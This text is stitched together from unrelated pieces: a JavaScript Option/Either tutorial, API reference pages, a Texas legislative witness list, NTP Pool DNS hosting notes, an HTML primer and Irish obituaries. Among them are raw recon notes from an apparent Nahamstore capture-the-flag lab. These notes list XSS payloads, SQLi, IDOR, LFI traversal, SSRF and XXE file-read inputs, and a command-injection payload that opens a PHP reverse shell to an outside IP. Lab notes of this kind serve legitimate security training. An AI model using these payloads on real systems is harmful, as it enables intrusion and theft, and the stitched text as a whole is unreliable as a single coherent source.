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with Option and Either Types
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FP Fledgeling
Be comfortable with Options and Eithers
Consider using Option and Either Types
Accessing nested attributes in an object
JSON Response from the API
{
"listing": {
"features": {
"bedrooms": {
"value": 3
}
}
}
}
Task: Display the value of bedrooms in the UI
Possibly null or undefined
Rules
Define getBedrooms as a function
const getBedrooms = data => {
const bedrooms = data.listing && data.listing.features
&& data.listing.features.bedrooms;
if (bedrooms) {
return bedrooms.value;
}
return 0;
};
We have to null-check every step of the way
This is totally fine
Looking at this from another perspective
We have no easy way to operate on values that may or may not be present
Option:
Option Type definition
const Option = x =>
(x === undefined || x === null) ? None : Some(x);
const Some = x => ({
map: f => Some(f(x)),
flatMap: f => f(x),
fold: (ifEmpty, f) => f(x)
});
const None = {
map: f => None,
flatMap: f => None,
fold: (ifEmpty, f) => ifEmpty()
};
What they return
| map | flatMap | fold | |
|---|---|---|---|
| Some(x) | Some(f(x)) | f(x) | f(x) |
| None | Itself | Itself | ifEmpty() |
Type of f passed as argument
| map | flatMap | fold | |
|---|---|---|---|
| f |
U => V |
U => Option<V> |
U => V |
Let's talk about fold
fold to retrieve values
Option(null).fold(() => 'Empty!', x => x);
// 'Empty!'
Option('Something').fold(() => 'Empty!', x => x);
// 'Something'
Refactor getBedrooms to use Option Types
const getBedrooms = data =>
Option(data.listing)
.flatMap(listing => Option(listing.features))
.flatMap(features => Option(features.bedrooms))
.map(bedrooms => bedrooms.value)
.fold(() => 0, v => v);
Comparison
const getBedrooms = data => {
const bedrooms = data.listing && data.listing.features
&& data.listing.features.bedrooms;
if (bedrooms) {
return bedrooms.value;
}
return 0;
};
const getBedrooms = data =>
Option(data.listing)
.flatMap(listing => Option(listing.features))
.flatMap(features => Option(features.bedrooms))
.map(bedrooms => bedrooms.value)
.fold(() => 0, v => v);
Pros & Cons of Option Types in JS
👍🏻 Signals the fact that a value could be null.
👍🏻 Makes it easy to chain functions and not worry about null checking at all.
Btw, we've just used a Functor and a Monad ... sort of
👎🏻 Verbose
👎🏻 Cannot fully harness the power of Option types without typing our values
👎🏻 Additional layer of abstraction
They are not just another abstraction!
👍🏻 Works nicely with other ADTs
Parsing Data that might fail
Task: Parse a String into a Javascript Object From localStorage
getUserFromLocalStorage: String -> Object
Rules
Define getUserFromLocalStorage as a function
const getUserFromLocalStorage = keyName => {
const str = localStorage.getItem(keyName);
return JSON.parse(str);
};
Define a function that uses getUserFromLocalStorage
const doSomethingWithUserData = () => {
const cage = getUserFromLocalStorage('cage');
// do wonderful things
};
Refactor getUserFromLocalStorage to use try catch
const getUserFromLocalStorage = keyName => {
try {
const str = localStorage.getItem(keyName);
return JSON.parse(str);
} catch (e) {
return "Invalid or Corrupted User Data";
}
};
👎🏻 Forces doSomethingWithUserData to handle null values
👎🏻 doSomethingWithUserData does not get to decide how to handle errors
Either:
Differences between Option and Either
| Option | Either |
|---|---|
| You care whether a value does or does not exist | You care enough to pass contextual information |
Either Type Definition
const Left = x => ({
map: f => Left(x),
fold: (ifLeft, ifRight) => ifLeft(x)
});
const Right = x => ({
map: f => Right(f(x)),
fold: (ifLeft, ifRight) => ifRight(x)
});
What they return
| Left | Right | |
|---|---|---|
| map | Left(x) | Right(f(x)) |
| fold | ifLeft(x) | ifRight(x) |
Refactor getUserFromLocalStorage to use Either Types
const getUserFromLocalStorage = keyName => {
try {
const str = localStorage.getItem(keyName);
return Right(JSON.parse(str));
} catch (e) {
return Left(e);
}
};
Refactor doSomethingWithUserData to deal with Either as return type
const transformCage = () => { /* ... */ };
const handleError = e => "Invalid or Corrupted User Data";
const handleSuccess = data => "Success";
const doSomethingWithUserData = () =>
getUserFromLocalStorage('cage')
.map(transformCage)
.fold(handleError, handleSuccess);
Comparison
const transformCage = () => { /* ... */ };
const handleError = e => "Invalid or Corrupted User Data";
const handleSuccess = data => "Success";
const doSomethingWithUserData = () =>
getUserFromLocalStorage('cage')
.map(transformCage)
.fold(handleError, handleSuccess);
const doSomethingWithUserData = () => {
const cage = getUserFromLocalStorage('cage');
// do wonderful things
};
👍🏻 Returns an Either with an error rather than throwing it.
👍🏻 We can extend our return types to provide even more information.
Our Right could still return a null
Either<Error,Object>
Either<Error, Option<Object>>
Refactor getUserFromLocalStorage to return Either with an Option Type
const getUserFromLocalStorage = keyName => {
try {
const str = localStorage.getItem(keyName);
return Right(Option(JSON.parse(str)));
} catch (e) {
return Left(e);
}
};
Refactor doSomethingWithUserData to deal with Either and Option
const transformCage = () => { /* ... */ };
const handleError = e => "failed to parse Cage";
const handleSuccess = data => "Success";
const ifEmpty = () => "Cage does not exist!";
const doSomethingWithUserData = () =>
getUserFromLocalStorage('cage')
.fold(handleError,
data =>
data.map(transformCage)
.fold(
ifEmpty,
handleSuccess
)
);
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Consider using them!
I have a blog post! here


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com.github.thibaultbee.streampack.data.AudioConfig |
Audio configuration class.
If you don't know how to set class members, Video encoding recommendations should give you hints.
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com.github.thibaultbee.streampack.streamers.BaseCaptureStreamer |
Base class of CaptureStreamer: CaptureTsFileStreamer
or
CaptureSrtLiveStreamer
Use this class, only if you want to implement a custom endpoint.
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com.github.thibaultbee.streampack.error.CameraError
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Class that encapsulates camera errors
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com.github.thibaultbee.streampack.utils.CameraSettings
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Use to change camera settings.
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com.github.thibaultbee.streampack.streamers.CaptureSrtLiveStreamer
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BaseCaptureStreamer
that sends audio/video frames to a remote device p, Secure Reliable
Transport (SRT) Protocol.
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com.github.thibaultbee.streampack.streamers.CaptureTsFileStreamer
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BaseCaptureStreamer
that sends audio/video frames to a File.
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com.github.thibaultbee.streampack.utils.CodecUtils |
Helper for audio/video codec.
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android.content.Context (extensions in package com.github.thibaultbee.streampack.utils) |
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com.github.thibaultbee.streampack.utils.ILogger |
Classic logger interface
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com.github.thibaultbee.streampack.listeners.OnConnectionListener |
Interface of Secure Reliable Transport (SRT) Protocol listener
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com.github.thibaultbee.streampack.listeners.OnErrorListener |
Interface of Streamer listener
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com.github.thibaultbee.streampack.error.StreamPackError |
Class that encapsulates StreamPack errors
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kotlin.String (extensions in package com.github.thibaultbee.streampack.utils) |
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com.github.thibaultbee.streampack.data.VideoConfig |
Video configuration class.
If you don't know how to set class members, Video encoding recommendations should give you hints.
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What do you think of the 'Bon Voyage' teasers?
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Calculating the ROI of blogging: "One issue that keeps coming up over and over again is how to measure the ROI of blogs. I’ve written about this in the past and have been stewing over how to go beyond the intangible 'blogging is good for your business' exhortations to quantify blogging’s benefit to organizations."
I'm not going to list exact figures, but in the years I've been blogging (about 5 I reckon), I've been able to directly link a large volume of business that Future Platforms has won - well into 6 figures - back to my personal weblog. Without a doubt it's the most successful single tool, aside from word-of-mouth, for generating our business... and this doesn't take into account the indirect or intangible benefits, which are undoubtedly there but are less measurable.


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[ GitHub ]# File 'activerecord/lib/active_record/connection_adapters/schema_cache.rb', line 167
def primary_keys(table_name) @schema_reflection.primary_keys(@connection, table_name) end
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| Inherits: | Object |
| Defined in: | activerecord/lib/active_record/connection_adapters/schema_cache.rb |
BoundSchemaReflection
# File 'activerecord/lib/active_record/connection_adapters/schema_cache.rb', line 150
def initialize(abstract_schema_reflection, connection) @schema_reflection = abstract_schema_reflection @connection = connection end
# File 'activerecord/lib/active_record/connection_adapters/schema_cache.rb', line 175
def add(name) @schema_reflection.add(@connection, name) end
Boolean
# File 'activerecord/lib/active_record/connection_adapters/schema_cache.rb', line 163
def cached?(table_name) @schema_reflection.cached?(table_name) end
# File 'activerecord/lib/active_record/connection_adapters/schema_cache.rb', line 155
def clear! @schema_reflection.clear! end
# File 'activerecord/lib/active_record/connection_adapters/schema_cache.rb', line 211
def clear_data_source_cache!(name) @schema_reflection.clear_data_source_cache!(@connection, name) end
# File 'activerecord/lib/active_record/connection_adapters/schema_cache.rb', line 183
def columns(table_name) @schema_reflection.columns(@connection, table_name) end
# File 'activerecord/lib/active_record/connection_adapters/schema_cache.rb', line 187
def columns_hash(table_name) @schema_reflection.columns_hash(@connection, table_name) end
Boolean
# File 'activerecord/lib/active_record/connection_adapters/schema_cache.rb', line 191
def columns_hash?(table_name) @schema_reflection.columns_hash?(@connection, table_name) end
Boolean
# File 'activerecord/lib/active_record/connection_adapters/schema_cache.rb', line 171
def data_source_exists?(name) @schema_reflection.data_source_exists?(@connection, name) end
# File 'activerecord/lib/active_record/connection_adapters/schema_cache.rb', line 179
def data_sources(name) @schema_reflection.data_sources(@connection, name) end
# File 'activerecord/lib/active_record/connection_adapters/schema_cache.rb', line 199
def database_version @schema_reflection.database_version(@connection) end
# File 'activerecord/lib/active_record/connection_adapters/schema_cache.rb', line 215
def dump_to(filename) @schema_reflection.dump_to(@connection, filename) end
# File 'activerecord/lib/active_record/connection_adapters/schema_cache.rb', line 195
def indexes(table_name) @schema_reflection.indexes(@connection, table_name) end
# File 'activerecord/lib/active_record/connection_adapters/schema_cache.rb', line 159
def load! @schema_reflection.load!(@connection) end
# File 'activerecord/lib/active_record/connection_adapters/schema_cache.rb', line 167
def primary_keys(table_name) @schema_reflection.primary_keys(@connection, table_name) end
# File 'activerecord/lib/active_record/connection_adapters/schema_cache.rb', line 207
def size @schema_reflection.size(@connection) end
# File 'activerecord/lib/active_record/connection_adapters/schema_cache.rb', line 203
def version @schema_reflection.version(@connection) end


Simple regression problem. Current stochastic forward pass through the dropout network is plotted in black and the mean of the last 100 forward passes is plotted in blue. Shades of blue denote half a standard deviation. You can click on the plot to add new data points and see how the uncertainty changes (you might have to restart the network after adding new points).


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Interface IMixedRealityHandController
Controller definition, used to manage a hand controller.
Inherited Members
Namespace: XRTK.Interfaces.Providers.Controllers.Hands
Assembly: XRTK.dll
Syntax
public interface IMixedRealityHandController : IMixedRealityController
Properties
| Improve this Doc View SourceFingerCurlStrengths
Gets the curl strength per finger.
Declaration
float[] FingerCurlStrengths { get; }
Property Value
| Type | Description |
|---|---|
| Single[] |
GripStrength
Gets the current grip strength (fist) of the hand.
Declaration
float GripStrength { get; }
Property Value
| Type | Description |
|---|---|
| Single |
IsGripping
Gets whether the hand is currently in gripping pose.
Declaration
bool IsGripping { get; }
Property Value
| Type | Description |
|---|---|
| Boolean |
IsPinching
Gets whether the hand is currently in input down pose (select / pinch / airtap).
Declaration
bool IsPinching { get; }
Property Value
| Type | Description |
|---|---|
| Boolean |
IsPointing
Gets whether the hand is currently in a pointing pose.
Declaration
bool IsPointing { get; }
Property Value
| Type | Description |
|---|---|
| Boolean |
PinchStrength
Gets the current pinch strength (index and thumb) of the hand.
Declaration
float PinchStrength { get; }
Property Value
| Type | Description |
|---|---|
| Single |
TrackedPoseId
Gets the hands current pose.
Declaration
string TrackedPoseId { get; }
Property Value
| Type | Description |
|---|---|
| String |
Methods
| Improve this Doc View SourceTryGetBounds(TrackedHandBounds, out Bounds[])
Get the hands bounds of a given type, if they are available.
Declaration
bool TryGetBounds(TrackedHandBounds handBounds, out Bounds[] bounds)
Parameters
| Type | Name | Description |
|---|---|---|
| TrackedHandBounds | handBounds | The requested hand bounds. |
| Bounds[] | bounds | The bounds if available. |
Returns
| Type | Description |
|---|---|
| Boolean | True, if bounds available. |
TryGetFingerCurlStrength(HandFinger, out Single)
Gets the curl strength for a finger, if available.
Declaration
bool TryGetFingerCurlStrength(HandFinger handFinger, out float curlStrength)
Parameters
| Type | Name | Description |
|---|---|---|
| HandFinger | handFinger | The HandFinger to lookup strength for. |
| Single | curlStrength | The finger's curl strength is a value from 0 to 1. |
Returns
| Type | Description |
|---|---|
| Boolean | True, if success. |
TryGetHandMeshData(out HandMeshData)
Get the hand controllers current HandMeshData, if available.
Declaration
bool TryGetHandMeshData(out HandMeshData handMeshData)
Parameters
| Type | Name | Description |
|---|---|---|
| HandMeshData | handMeshData | Hand mesh data for rendering the hand as a mesh. |
Returns
| Type | Description |
|---|---|
| Boolean | True, if mesh data available and not Empty. |
TryGetJointPose(TrackedHandJoint, out MixedRealityPose, Space)
Get the current pose of a joint of the hand.
Declaration
bool TryGetJointPose(TrackedHandJoint joint, out MixedRealityPose pose, Space relativeTo = Space.Self)
Parameters
| Type | Name | Description |
|---|---|---|
| TrackedHandJoint | joint | The joint to get the pose for. |
| MixedRealityPose | pose | Pose output parameter containing the pose if found. |
| Space | relativeTo | Optional coordinate space to get the pose in. Defaults to Self. |
Returns
| Type | Description |
|---|---|
| Boolean | True, if the pose is available. |
Remarks
Hand bones should be oriented along the Z-axis, with the Y-axis indicating the "up" direction, i.e. joints rotate primarily around the X-axis.


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WITNESS LIST Infrastructure Development and Security Committee May 19, 2003 - 9:00A HB 623 FOR: Childs, David Dallas County Tax Assessor (Dallas County Tax Assessor), Dallas, TX Pardue, Craig Asst. Adminstrator Governmental Affairs (Dallas County), Dallas, TX ON: Craig, Mike Transportation (Texas Department of Transportation), Austin, TX HB 946 FOR: McEwen, Clark Executive Director (Texas Recreational Vehicle Association), Austin, TX Regan, Michael Crestview RV Center (TRVA), Austin, TX ON: Clanton, Coy Law Enforcement (Texas Department of Public Safety), Austin, TX Smith, Lawrance Transportation (Texas Department of Transportation), Austin, TX HB 1512 Registering, but not testifying: For: Fleming, Martin Vice President of Public Affairs (Texas Independent Producters & Royalty Owners Association), Austin, TX Miksa, Mary Vice President Governmental Affairs (Texas Association of Business), Austin, TX Moore, Julie W. Director (Occidental Petroleum), Austin, TX Morphew, Cindy Vice President Environmental Affairs (Texas Oil & Gas Association), Austin, TX Perry, Steve Government Relations (Chevron Texaco), Austin, TX On: McDaniel, Mary L. Director, Pipeline Safety (Railroad Commission of Texas), Austin, TX HB 1733 Registering, but not testifying: For: Findeisen, Les Director of Policy (Texas Motor Transportation Association), Austin, TX Newton, Chris Attorney (Texas Petroleum Markerters & Convenience Store Association), Austin, TX HB 1831 ON: Lopez, Carlos Transportation (Texas Department of Transportation), Austin, TX Registering, but not testifying: For: Garey, Glen Attorney (Texas Restaurant Association), Austin, TX Newton, Chris Attorney (Texas Petroleum Markerters & Convenience Store Association), Austin, TX HB 2500 Registering, but not testifying: On: Gamez, Gene Assistant General Counsel (Dallas Area Rapid Transit), Dallas, TX Pope, Robert Chairman of Board (Dallas Area Rapid Transit), Plano, TX Pratt III, Fred Manager, State & Local Gov't Relations (Dallas Area Rapid Transit), Dallas, TX HB 2905 ON: Lopez, Carlos Transportation (Texas Department of Transportation), Austin, TX HB 3017 FOR: Emery, F. Charles Consultant (Denton County Transportation Authority), Lewisville, TX


| API | Version | Description | API Token |
| Petstore API | 1.0 | This is a Sample Petstore API | Manage Token |
| Amadeus API | 2.0 | This is a Sample Amadeus API | Manage Token |
| Authentiq API | 1.0 | This is a Sample Authentiq API | Manage Token |
| Uber API | 1.0 | This API is based on Open API 3.0 | Manage Token |


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Cockpit URLs follow a specific structure, related to the components they are
loading. Various components are loaded in <iframe>
tags. The
URLs for these components are described first. Further down below you can
find information about the top level bookmarkable Cockpit address URLs.
Cockpit components are HTML documents. They are organized into packages. Each package contains information about which HTML components are available in that package. Components should always use relative URLs to access resources, such as images, scripts or CSS files, even if they refer to a resource in another package.
The following are valid component URLs, each bit will be discussed below:
<EMAIL_ADDRESS>/cockpit/$checksum/package/component.html#/hash<EMAIL_ADDRESS><EMAIL_ADDRESS>All resource URLs are under the /cockpit
namespace. In cases
where a Cockpit component is being embedded
the /cockpit
may be followed by a plus sign and another
embedder
specific identifier.
What follows is either a @host
or $checksum
which
tells cockpit where to find the package.
Checksums are used when more than one host has identical packages and the resources
can be cached.
The package
name is next, followed by the component
HTML path inside that package. And lastly a hash allows for navigation within a
single component. The hash should follow a URL path and/or query string form.
Never assume that the @host
or $checksum
portion
is predictable. Only refer to resources in packages on the same host.
The above Component URLs are usually not visible to the user. Instead the Cockpit Web Service wraps the components in a shell which allows navigation, and provides bookmarkable clean URLs to the component. These URLs do not affect embedders or components directly.
If no path is present then the Cockpit will redirect to the default page for the server.
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sign, then
the component is being shown from a non-local host.
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the local host) is the package name.
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segments are present, a default index.html
component in the package
is loaded. An extension of .html
is automatically
appended.
The hash portion of the path is automatically transferred to the component as the hash of its resource URL.


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🤖 Enhancements
- NLPCRAFT-31 - Tests should always stop all started components.
- NLPCRAFT-35 - Fix java tests.
- NLPCRAFT-37 -
NCModel#onMatchedIntent
behaviour should be fixed.
- NLPCRAFT-44 - POM update.
- NLPCRAFT-72 - POM fixes (make Stanford dependencies optional).
- NLPCRAFT-32 - Add license Apache Rat Maven plugin support.
- NLPCRAFT-33 - Add Jenkins integration (including Maven
verify
goal) for master.
- NLPCRAFT-34 - PGP signature must have the “asc” extension.
- NLPCRAFT-38 - Improve release process.
- NLPCRAFT-39 - Migrate to Scala 2.12 and support Java 11 compilation.
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- NLPCRAFT-60 - Add project specific favicon to the website.
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[% page.title = "NTP Pool DNS servers" | loc %]
[% # Translators: Do not translate this page.
# Reading and writing a bit of English is a requirement for effectively
# helping with the DNS services anyway and it is important this page doesn't
# get "out of sync" in the different languages.
%]
NTP Pool DNS servers
To direct our millions of NTP users to an appropriate server we run a
customized DNS server. Many of the instances are offered by
volunteers around the world. This page provides more information if
you are interested in providing a (virtual) server to be used for DNS
services.
Experimental appliance
The production servers run on setups as described below, though we've
also started testing an "appliance" that can run in a virtual machine
or from a USB stick or compact flash with minimal setup. If you are
able and interested in helping us test this,
please see the
pgeodns wiki.
Requirements for hosting a server
The NTP Pool DNS server usually runs on CentOS or Ubuntu LTS; either
will work though CentOS is preferred. We also have one instance
running on FreeBSD (in a jail I believe) which is performing very very well.
If it's a virtual machine, it needs to be a Xen or KVM based one if
the server is going to be part of
the anycast setup.
The "container" systems (OpenVZ) don't have the required network
interfaces to work. VMware will probably work, too.
- Operating System
-
Basically just a minimal-ish install of (64-bit, x86_64) CentOS or
Ubuntu LTS. Our software also works with FreeBSD, but we
prefer not maintaining the base system on other operating
systems than Ubunutu and CentOS, so if the system runs FreeBSD
we prefer just getting a jail on a well maintained system.
We can also run on Mac OS X 10.6+, but again someone else
should apply system updates etc in that case.
- CPU
- Faster is better. About 2 CPU cores, in the ballpark of 2GHz
or faster is best. Almost any CPU from the last 4-5
years will do a nice job, though it has to be a 64-bit system.
- RAM
- 1GB is comfortable, less is okay but not less than 512MB.
- Disk space
-
4-5GB is plenty. It can be just about as slow as you can imagine and it'll be fine.
- IP addresses
-
One routable IPv4 address. IPv6 is also nice, but not required. If your
network supports us announcing our anycast network then we like doing that,
see below for BGP information.
- Bandwidth
-
It used to be less, currently it's about 1-5Mbit/second per server (anywhere
from 100-500GB data per month).
During certain times of the hour and the day the rate goes up significantly
for a few seconds (basically to however many the CPU and the software
can keep up with). If you are in a country with poor DNS server coverage
but can't serve that many requests, we have tools to give you less traffic.
- Software
-
Regular DNS servers can't smartly respond with a "nearby" server out of
several thousand and do so weighted, so we run a bit of
quirky DNS software that can.
- BGP access
- (only for anycast nodes) The NTP Pool DNS anycast AS number is
6647. It will be announced with the 'bird' daemon or with
exabgp. The IPv4 prefix is <IP_ADDRESS>/24. If you have IPv6,
then we'll also announce 2620:101:d007::/48.
- Firewall/security
-
The system needs incoming port 53 (duh), port 22
(or another port for ssh if you so require) and obviously port 179 to
your routers for BGP. (No external firewall is needed, just in case
you have one and it needs holes opened up. Be sure to disable session
tracking for port 53/udp if you do have a firewall).
- Management
-
We typically do the day-to-day management of the system.
If you are interested in helping with this, please email
ask@develooper.com.


Quetzal is a collection of general-purpose standards-based HTML web components. This is not a framework, just a set of reusable HTML elements created with new standards. You can add these elements to your own web applications. The Quetzal source code is on GitHub.
The Quetzal element collection relies on Google's Polymer project to support aspects of custom elements which are not yet supported in all browsers.
For the time being, use Google Chrome Canary to view this page. Results are also more predictable if you open chrome://flags and Enable Experimental Platform Features.


#include <product.h>
|
| | Cake (string name, double weight, string nameBirthday, int years, string layer1, string layer2="") |
| |
| | Cake (string name, double weight, string layer1, string layer2="") |
| |
| vector< string > | getLayers () const |
| |
| string | getNameBirthday () const |
| |
| int | getYears () const |
| |
| double | getPricePerKg () const |
| |
| double | getWeight () const |
| |
| string | getInfo () const override |
| |
| void | setLayers (vector< string > layers) |
| |
| void | setNameBirthday (string name) |
| |
| void | setYears (int years) |
| |
| void | setPricePerKG (double price) |
| |
| void | setWeight (double weight) |
| |
| double | calculatePrice (double weight, vector< string > layers) |
| |
| void | productSold (int quantity) override |
| |
| void | moneyEarned (double money) override |
| |
| | Product (string name, double price=0) |
| |
| | Product () |
| |
| string | getName () const |
| |
| double | getPrice () const |
| |
| void | setName (string name) |
| |
| void | setPrice (double price) |
| |
Beverage Cake A child class of Product
◆ Cake() [1/2]
| Cake::Cake |
( |
string |
name, |
|
|
double |
weight, |
|
|
string |
nameBirthday, |
|
|
int |
years, |
|
|
string |
layer1, |
|
|
string |
layer2 = "" |
|
) |
| |
◆ Cake() [2/2]
| Cake::Cake |
( |
string |
name, |
|
|
double |
weight, |
|
|
string |
layer1, |
|
|
string |
layer2 = "" |
|
) |
| |
◆ calculatePrice()
| double Cake::calculatePrice |
( |
double |
weight, |
|
|
vector< string > |
layers |
|
) |
| |
This is an auxiliar function, to calculate the price of the cake, based on the layers chosen
- Parameters
-
| weight | The weight of the cake |
| layers | The layers of the cake |
- Returns
- The price of the cake
◆ getInfo()
| string Cake::getInfo |
( |
| ) |
const |
|
overridevirtual |
Information (All child classes will have to redefine this)
- Returns
- Outputs a string with basic informations of the product
Reimplemented from Product.
◆ getLayers()
| vector< string > Cake::getLayers |
( |
| ) |
const |
◆ getNameBirthday()
| string Cake::getNameBirthday |
( |
| ) |
const |
◆ getPricePerKg()
| double Cake::getPricePerKg |
( |
| ) |
const |
◆ getTotalCakeSold()
| int Cake::getTotalCakeSold |
( |
| ) |
|
|
static |
◆ getTotalMoneyCake()
| double Cake::getTotalMoneyCake |
( |
| ) |
|
|
static |
◆ getWeight()
| double Cake::getWeight |
( |
| ) |
const |
◆ getYears()
| int Cake::getYears |
( |
| ) |
const |
◆ moneyEarned()
| void Cake::moneyEarned |
( |
double |
money | ) |
|
|
overridevirtual |
This method increases the money earned by this category of product
- Parameters
-
| money | Value that will increase the previous one |
Reimplemented from Product.
◆ productSold()
| void Cake::productSold |
( |
int |
quantity | ) |
|
|
overridevirtual |
This method increases the quantity sold of this category of product
- Parameters
-
| quantity | Value that will increase the previous one |
Reimplemented from Product.
◆ setLayers()
| void Cake::setLayers |
( |
vector< string > |
layers | ) |
|
◆ setNameBirthday()
| void Cake::setNameBirthday |
( |
string |
name | ) |
|
◆ setPricePerKG()
| void Cake::setPricePerKG |
( |
double |
price | ) |
|
◆ setWeight()
| void Cake::setWeight |
( |
double |
weight | ) |
|
◆ setYears()
| void Cake::setYears |
( |
int |
years | ) |
|
The documentation for this class was generated from the following files:
- /home/victor/Documentos/PADARIA_AEDA-FEUP/Tests/product.h
- /home/victor/Documentos/PADARIA_AEDA-FEUP/Tests/product.cpp


The web includes many pieces that communicate with each other. A web page is a text document written in a language known as HTML. Web browsers read documents, interpret, and display them.
HTMLHTML stands for HyperText Markup Language and is the basis for everything on the web. HTML includes text content, markup, refereences to other documents, and links to other pages. For example: This is the link to the Udacity Homepage!
VocabularyAlthough it is not essential for programmers to memorize every little thing, there are a few terms that are necessary to know.
Tag: A tag is contained with brackets and usually consist of both an opening and closing tag. Tags that do not include content and do not include a closing tag are called "void tags." An example of a void tag is the image element.
Element: An element consists of everything within a set of opening and closing tags. An example of one element is the italics element.
Attribute: An attribute is a property of an HTML tag. For example, when I created the link to the Udacity homepage, I used the href attribute of an anchor tag.
Certain elements are within text and are either applied to a specific line or create a new line. These are referred to as inline elements. Contrastly, elements that create and invisible box around content are considered block elements. For example, there are two different elements that create whitespace; break and paragraoph. Break tags insert a new line between the text, while paragraph creates a whole block of text that allows for attributes. For example, the italics element is considered an inline element.
HTML DocumentsHTML documents provide a simple layout for a webpage. The layout contains tags, such as html, head, title and body. The head contains the title and styling like CSS and JS. Further, the body contains the main content of the entire webpage.


| Date | Store Attendant | Product | Amount | Status |
|---|---|---|---|---|
| 04/10/2018 | Store Attendant 1 | iPhone Xs | $1,190 | Completed |
| 04/10/2018 | Store Attendant 8 | Google Pixel 2 | $790 | Completed |
| 07/10/2018 | Store Attendant 121 | iPhone 7 | $500 | Completed |
| Date | Store Attendant | Product | Amount | Status |
|---|---|---|---|---|
| 04/10/2018 | Store Attendant 1 | iPhone Xs | $1,190 | Completed |
| 04/10/2018 | Store Attendant 8 | Google Pixel 2 | $790 | Completed |
| 07/10/2018 | Store Attendant 121 | iPhone 7 | $500 | Completed |


The GBM implemented in this tutorial has a lower Sharpe ratio than the S&P 500 index ETF benchmark over the periods
we tested. However, the strategy generates a lower annual variance over all the testing period, implying more
consistent returns than buy-and-hold. To continue the development of this strategy, future areas of research
include:
- Adjusting parameters in the GradientBoostingAlphaModel and SymbolData classes
- Testing other custom loss functions
- Changing the data resolution from minutes to seconds
- Using more/other technical indicators
-
Adding a model to predict the cost of trading (slippage, commissions, market impact) for each security instead of
prescribing a fixed amount


Nahamstore Recon Notes
Not a walkthrough or writeup. Just my raw recon notes and vulnerabilities
Root domains
- nahamstore.thm
Web Technologies
- nginx, ubuntu, jqurey
nahamstore.thm
Ports: 22,80,8000
www.nahamstore.thm, shop.nahamstore.thm -> nahamstore.thm
/<img src=/ onerror=alert()>
[rXSS] [Page Not Found]/?q
[rXSS]/?r
[open redirect]/basket
[POST] [address_id] [IDOR, PII]/register
[POST] [register_email, register_password]/register?redirect_url
[open redirect]/returns
[POST] [return_info] [sXSS]/returns
[POST] [order_number] [SQLi]/uploads
[301 -> <IP_ADDRESS>:80]/login
/logout
/search?q='-alert("test")-'
[rXSS] [js paramsearch
]/?q=%22+onfocus%3Dalert()+autofocus+
[rXSS][searchbox]/stockcheck
[POST] [SSRF]server=stock.nahamstore.thm@internal-api.nahamstore.thm?a=&product_id=1
/staff
[File Upload - “xlxs only”] [XXE via xlxs]/account/orders
/account/settings
[Email,password change, disable acct]/account/addressbook
[Address change]/account/addressbook
[POST] [new_address_title,new_address_fname,new_address_lname,new_address_line1,new_address_line2,road,new_address_line3,new_address_state,new_address_zipcode
]/account/orders/3
/product?id=2&name=</title>
[rXSS]/product?id=2&discount=" onfocus="alert()" autofocus "
[rXSS]/product
[Discount, Add to basket, Check Stock]/product?id=
[SQLi] [rXSS]/product
[POST] [discount] [rXSS]/product/picture/?file=....//....//....//....//....//lfi/flag.txt
[LFI]/pdf-generator
[POST] [IDOR]what=order&id=3%26user_id=3
/pdf-generator
[POST] [Blind RCE]what=order&id=4%3b$(php+-r+'$sock%3dfsockopen("<IP_ADDRESS>",1337)%3bshell_exec("sh+<%263+>%263+2>%263")%3b')
internal-api.nahamstore.thm
/orders
[Information Disclosuer, IDOR] ["id":"4dbc51716426d49f524e10d4437a5f5a","5ae19241b4b55a360e677fdd9084c21c","70ac2193c8049fcea7101884fd4ef58e"
]
nahamstore.thm:8000
/admin
[admin:admin] [Marketing Manager Dashboard]/admin/8d1952ba2b3c6dcd76236f090ab8642c
[RCE] [PHP rev shell]
marketing.nahamstore.thm
/?error=
[XSS]
nahamstore-2020-dev.nahamstore.thm [API]
- /api/customers/?customer_id=2 [IDOR, Information Disclosure]
stock.nahamstore.thm [API]
/product
/product/1
/product/1?xml
[XML output]/product/1?xml
[XXE] [POST]
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<data>
<X-Token>
&xxe;
</X-Token>
</data>


Texas A&M Oilspill Calculator v1.1 Manual
Welcome! This is the documentation for Texas A&M Oilspill Calculator 1.1.1, last updated Nov 08, 2017.
Parts of the documentation:
|
User Manual Reference Unit Tests |
Indices and tables:
|
General Index Module Index Glossary |
Search page Reference |
Meta information:
Acknowledgements
This software is maintained and distributed by Scott A. Socolofsky, Texas A&M University, Department of Civil Engineering, Coastal and Ocean Engineering Division, 3136 TAMU, College Station, TX 77843-3136.
For more information, see https://ceprofs.civil.tamu.edu/ssocolofsky/. Contact the author: socolofs@tamu.edu.


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EL PASSO work got accepted by PETS 2021
Nov 3, 2020
"EL PASSO: Efficient and Lightweight Privacy-preserving Single Sign On" got accepted by PETS 2021 (8/91 submissions for fall quarter submission cycle)
"EL PASSO: Efficient and Lightweight Privacy-preserving Single Sign On" got accepted by PETS 2021 (8/91 submissions for fall quarter submission cycle)
Our project FileCoin Pricing Mechanism (FPS) get the second prize (£1k) from FileCoin
Undergraduate course CS35L of Computer Science, UCLA
Graduate course CS217 MSOL of Computer Science, UCLA
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Dearly Departed
Deaths in Louth - Wednesday November 20 2019
RIP
by Donard McCabeThe death has occurred of Mary Whelan of Doolargy Avenue, Dundalk, Louth / Ennis, Clare
On Monday November 18, peacefully surrounded by her loving family in the wonderful care of Saint Peters Nursing Home.
Predeceased by her father Michael, brother James and sister Olivia. Mary will be sadly missed by her loving family, daughters Tanya and Shannon, mother Mary, sisters Bernie, Martina and Sinead, brothers Micheál, Pat, Noel and Paul, brothers and sisters-in-law, nephews, nieces, cousins and wonderful neighbours and friends.
Reposing at her home Doolargy Avenue Wednesday 12 noon to 9pm.
Removal Thursday morning at 10.45am proceeding on foot to The Church Of The Holy Family arriving for Funeral Mass at 11am, followed by burial in St Patrick's Cemetery, Dundalk.
Mary's family would like to express their gratitude to all the staff of St Peter's Nursing Home for the care and compassion shown to them and Mary during her time there.
House private on Thursday morning please.
Family flowers only, donations, if desired, to Huntington's Disease Association
May she rest in peace
The death has occurred of Sr. Veronica Keaney of Medical Missionaries of Mary, Drogheda, Co Louth and formerly from Ballindoon, Co. Sligo
On November 19, peacefully in Aras Mhuire Nursing Home, Drogheda. Predeceased by her parents, John and Ann, and brother James.
Sadly missed by her brothers, Paddy and Michael, her sisters, Sr. Eleanor S.M. and Anne, nephews, nieces and their families, relatives, many friends in Tanzania, Ireland and her MMM Community.
Funeral Mass at 12 noon in MMM Convent on Thursday, 21st November, followed by burial in St. Peter’s Cemetery, Drogheda.
